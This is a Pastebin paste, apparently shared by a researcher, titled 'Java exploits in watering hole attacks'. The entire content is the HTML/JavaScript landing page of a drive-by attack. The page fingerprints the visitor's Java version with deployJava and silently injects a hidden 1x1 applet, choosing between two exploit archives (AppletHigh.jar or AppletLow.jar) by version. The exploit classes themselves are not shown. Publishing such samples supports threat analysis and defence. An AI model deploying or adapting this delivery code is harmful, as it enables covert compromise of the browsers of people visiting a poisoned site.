eromang

Java exploits in watering hole attacks

Mar 20th, 2013
383
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <html>
  2. <body>
  3. <script src="deployJava.js"></script>
  4. <script>
  5. jres = deployJava.getJREs();
  6. if(jres.length==0)
  7. {
  8. }
  9. else if(jres[0].indexOf('1.7')!= -1)
  10. {
  11. var emb = document.createElement('applet');
  12. emb.setAttribute('name', 'applet');
  13. emb.setAttribute('width', '1');
  14. emb.setAttribute('height', '1');
  15. emb.setAttribute('code', 'Eeeloit.class');
  16. emb.setAttribute('archive', 'AppletHigh.jar');
  17. document.body.appendChild(emb);
  18. }
  19. else
  20. {
  21. var emb = document.createElement('applet');
  22. emb.setAttribute('name', 'applet');
  23. emb.setAttribute('width', '1');
  24. emb.setAttribute('height', '1');
  25. emb.setAttribute('code', 'Func1.class');
  26. emb.setAttribute('archive', 'AppletLow.jar');
  27. document.body.appendChild(emb);
  28. }
  29. </script>
  30. </body>
  31. </html>
Advertisement
Add Comment
Please, Sign In to add comment